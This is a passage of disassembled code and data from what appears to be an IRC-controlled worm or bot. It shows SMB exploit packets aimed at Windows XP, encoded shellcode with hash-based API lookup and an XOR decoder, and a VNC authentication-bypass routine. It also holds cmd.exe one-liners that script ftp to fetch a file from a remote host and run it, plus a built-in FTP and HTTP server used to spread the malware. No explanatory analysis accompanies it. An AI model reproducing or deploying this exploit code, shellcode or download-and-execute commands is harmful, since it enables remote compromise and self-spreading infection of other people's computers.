2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C70 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C78 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C7C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C84 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431D0C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D3C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D48 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D94 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DD8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431ED4 push dword ptr [esi] push 63D61209h call sub_431EEA mov [esi+8], eax call sub_431E9D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EEA mov [esi+0Ch], eax call sub_431E4F push dword ptr [esi+4] push 4C0297FAh call sub_431EEA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DD8 endp ; =============== S U B R O U T I N E ======================================= sub_431E4F proc near ; CODE XREF: sub_431DD8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E78 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E4F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E78 proc near ; CODE XREF: sub_431E4F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E87: ; CODE XREF: sub_431E78+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E94 inc ebx jmp short loc_431E87 ; --------------------------------------------------------------------------- loc_431E94: ; CODE XREF: sub_431E78+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E78 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E9D proc near ; CODE XREF: sub_431DD8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431EB5: ; CODE XREF: sub_431E9D+1Ej cmp [ecx], ebx jz short loc_431EBD mov ecx, [ecx] jmp short loc_431EB5 ; --------------------------------------------------------------------------- loc_431EBD: ; CODE XREF: sub_431E9D+1Aj mov edx, edi loc_431EBF: ; CODE XREF: sub_431E9D+2Aj cmp [edx+4], ebx jz short loc_431EC9 mov edx, [edx+4] jmp short loc_431EBF ; --------------------------------------------------------------------------- loc_431EC9: ; CODE XREF: sub_431E9D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E9D endp ; =============== S U B R O U T I N E ======================================= sub_431ED4 proc near ; CODE XREF: sub_431DD8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431ED4 endp ; =============== S U B R O U T I N E ======================================= sub_431EEA proc near ; CODE XREF: sub_431DD8+16p ; sub_431DD8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431F00: ; CODE XREF: sub_431EEA+33j jecxz short loc_431F3A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431F0D: ; CODE XREF: sub_431EEA+2Dj lodsb cmp al, ah jz short loc_431F19 ror edi, 0Dh add edi, eax jmp short loc_431F0D ; --------------------------------------------------------------------------- loc_431F19: ; CODE XREF: sub_431EEA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431F00 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F3A: ; CODE XREF: sub_431EEA:loc_431F00j ; sub_431EEA:loc_431F3Aj jmp short loc_431F3A sub_431EEA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F40 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F92 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F40+38j jecxz short loc_431F8D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F68: ; CODE XREF: sub_431F40+32j lodsb test al, al jz short loc_431F74 ror edx, 0Dh add edx, eax jmp short loc_431F68 ; --------------------------------------------------------------------------- loc_431F74: ; CODE XREF: sub_431F40+2Bj cmp edx, [esp+arg_0] jnz short loc_431F5D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F8D: ; CODE XREF: sub_431F40:loc_431F5Dj mov [esp+arg_0], ebx retn sub_431F40 endp ; =============== S U B R O U T I N E ======================================= sub_431F92 proc near ; CODE XREF: sub_431F40+7p ; FUNCTION CHUNK AT 00431FCA SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431FAB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431FB6 ; --------------------------------------------------------------------------- loc_431FAB: ; CODE XREF: sub_431F92+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431FB6: ; CODE XREF: sub_431F92+14j pop edi xor esi, esi pusha push esi jmp short loc_431FCA sub_431F92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431FBD proc near ; CODE XREF: sub_431F92:loc_431FCAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431FBD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F92 loc_431FCA: ; CODE XREF: sub_431F92+29j call sub_431FBD loc_431FCF: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F92 ; --------------------------------------------------------------------------- dw 0 dword_431FD4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FE0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FE4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FE8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FF4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FFC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FFC dd 0 ; CODE XREF: ___:loc_431FF4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432068 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432074: ; CODE XREF: ___:0043207Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432074 inc edi jz short loc_4320BB and eax, 952CE753h inc esp jle short loc_4320E3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_4320BB: ; CODE XREF: ___:00432081j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_43211A+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0043210Dj xor [esi-25h], bl loc_4320E3: ; CODE XREF: ___:00432089j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320FC: ; CODE XREF: ___:0043212Fj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320E0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_43211A: ; CODE XREF: ___:004320C1j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_4321A6 jo short loc_4320FC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43213D+1 add bl, [edi] loc_43213D: ; CODE XREF: ___:00432139j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432152+2 cmp ch, bh dec edx loc_432152: ; CODE XREF: ___:0043214Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_4321A6: ; CODE XREF: ___:0043212Dj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_43222C sub al, 0BCh jmp near ptr 5445259Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4321C8 dd 0EFFFC481h, 44FFFFh, 432214h ; DATA XREF: ___:0040DC32o dword_4321D4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321D8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321DC dd 258h ; DATA XREF: ___:0040DC28r byte_4321E0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321F8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321E4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_43222C: ; CODE XREF: ___:004321B0j push eax xor al, 29h loc_43222F: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432238 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43224C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322F4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dword_432304 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433538 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43353C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437CA0o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437CACo unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_433824 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43384C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A6C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433AA4 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AD8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F80 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433FC4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_43402C db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434074 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection 